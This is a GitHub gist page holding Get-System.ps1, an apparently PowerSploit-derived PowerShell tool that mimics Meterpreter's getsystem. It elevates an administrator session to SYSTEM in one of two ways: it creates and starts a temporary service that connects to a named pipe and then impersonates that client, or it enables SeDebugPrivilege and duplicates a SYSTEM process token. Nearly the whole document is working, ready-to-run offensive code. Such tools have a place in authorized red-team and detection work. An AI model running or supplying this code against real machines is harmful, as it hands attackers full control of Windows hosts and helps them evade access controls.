Skip to content

Instantly share code, notes, and snippets.

@milo2012
Last active November 22, 2021 18:50
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save milo2012/ef2d4f77f6eea10a8ee3de64313dc400 to your computer and use it in GitHub Desktop.
Save milo2012/ef2d4f77f6eea10a8ee3de64313dc400 to your computer and use it in GitHub Desktop.
Get-System.ps1
function Get-System {
<#
.SYNOPSIS
GetSystem functionality inspired by Meterpreter's getsystem.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
Executes "getsystem" functionality similar to Meterpreter.
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
token duplication works correctly.
.PARAMETER Technique
The technique to use, 'NamedPipe' or 'Token'.
.PARAMETER ServiceName
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER PipeName
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER RevToSelf
Reverts the current thread privileges.
.PARAMETER WhoAmI
Switch. Display the credentials for the current PowerShell thread.
.EXAMPLE
Get-System
Uses named impersonate to elevate the current thread token to SYSTEM.
.EXAMPLE
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
Uses named impersonate to elevate the current thread token to SYSTEM
with a custom service and pipe name.
.EXAMPLE
Get-System -Technique Token
Uses token duplication to elevate the current thread token to SYSTEM.
.EXAMPLE
Get-System -WhoAmI
Displays the credentials for the current thread.
.EXAMPLE
Get-System -RevToSelf
Reverts the current thread privileges.
.LINK
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
param(
[Parameter(ParameterSetName = 'NamedPipe')]
[Parameter(ParameterSetName = 'Token')]
[String]
[ValidateSet('NamedPipe', 'Token')]
$Technique = 'NamedPipe',
[Parameter(ParameterSetName = 'NamedPipe')]
[String]
$ServiceName = 'TestSVC',
[Parameter(ParameterSetName = 'NamedPipe')]
[String]
$PipeName = 'TestSVC',
[Parameter(ParameterSetName = 'RevToSelf')]
[Switch]
$RevToSelf,
[Parameter(ParameterSetName = 'WhoAmI')]
[Switch]
$WhoAmI
)
$ErrorActionPreference = 'Stop'
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# performs named pipe impersonation to elevate to SYSTEM without needing
# SeDebugPrivilege
function Local:Get-SystemNamedPipe {
param(
[String]
$ServiceName = 'TestSVC',
[String]
$PipeName = 'TestSVC'
)
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
Add-Type -Assembly System.Core
# create the named pipe used for impersonation and set appropriate permissions
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow')
$PipeSecurity.AddAccessRule($AccessRule)
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity)
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
# Declare/setup all the needed API function
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
# Step 1 - OpenSCManager()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
Write-Verbose '[Get-System] Opening service manager'
$ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F)
Write-Verbose "[Get-System] Service manager handle: $ManagerHandle"
# if we get a non-zero handle back, everything was successful
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
# Step 2 - CreateService()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# 0x10 = SERVICE_WIN32_OWN_PROCESS
# 0x3 = SERVICE_DEMAND_START
# 0x1 = SERVICE_ERROR_NORMAL
Write-Verbose "[Get-System] Creating new service: '$ServiceName'"
try {
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
$err = $GetLastError.Invoke()
}
catch {
Write-Warning "Error creating service : $_"
$ServiceHandle = 0
}
Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
$Success = $True
Write-Verbose '[Get-System] Service successfully created'
# Step 3 - CloseServiceHandle() for the service handle
Write-Verbose '[Get-System] Closing service handle'
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
# Step 4 - OpenService()
Write-Verbose "[Get-System] Opening the service '$ServiceName'"
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
# Step 5 - StartService()
Write-Verbose '[Get-System] Starting the service'
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
$err = $GetLastError.Invoke()
# if we successfully started the service, let it breathe and then delete it
if ($val -ne 0){
Write-Verbose '[Get-System] Service successfully started'
# breathe for a second
Start-Sleep -s 1
}
else{
if ($err -eq 1053){
Write-Verbose "[Get-System] Command didn't respond to start"
}
else{
Write-Warning "[Get-System] StartService failed, LastError: $err"
}
# breathe for a second
Start-Sleep -s 1
}
# start cleanup
# Step 6 - DeleteService()
Write-Verbose "[Get-System] Deleting the service '$ServiceName'"
$val = $DeleteService.invoke($ServiceHandle)
$err = $GetLastError.Invoke()
if ($val -eq 0){
Write-Warning "[Get-System] DeleteService failed, LastError: $err"
}
else{
Write-Verbose '[Get-System] Service successfully deleted'
}
# Step 7 - CloseServiceHandle() for the service handle
Write-Verbose '[Get-System] Closing the service handle'
$val = $CloseServiceHandle.Invoke($ServiceHandle)
Write-Verbose '[Get-System] Service handle closed off'
}
else {
Write-Warning "[Get-System] OpenServiceA failed, LastError: $err"
}
}
else {
Write-Warning "[Get-System] CreateService failed, LastError: $err"
}
# final cleanup - close off the manager handle
Write-Verbose '[Get-System] Closing the manager handle'
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
}
else {
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
Write-Warning "[Get-System] OpenSCManager failed, LastError: $err"
}
if($Success) {
Write-Verbose '[Get-System] Waiting for pipe connection'
$Pipe.WaitForConnection()
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out"
}
# clocse off the named pipe
$Pipe.Dispose()
}
# performs token duplication to elevate to SYSTEM
# needs SeDebugPrivilege
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
Function Local:Get-SystemToken {
[CmdletBinding()] param()
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LuidStruct = $LuidTypeBuilder.CreateType()
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
$PrivilegesField.SetCustomAttribute($AttribBuilder)
# $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'advapi32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'kernel32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcess',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[IntPtr],
@([UInt32], [Bool], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'CloseHandle',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
# $STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {
Write-Verbose "[Get-System] error enumerating handle: $_"
}
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "[Get-System] OpenProcessToken result: $RetVal"
Write-Verbose "[Get-System] OpenProcessToken result: $LastError"
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose "[Get-System] DuplicateToken result: $LastError"
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
}
Write-Verbose "[Get-System] SetThreadToken result: $LastError"
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output "[Get-System] RevertToSelf successful."
}
else {
Write-Warning "[Get-System] RevertToSelf failed."
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment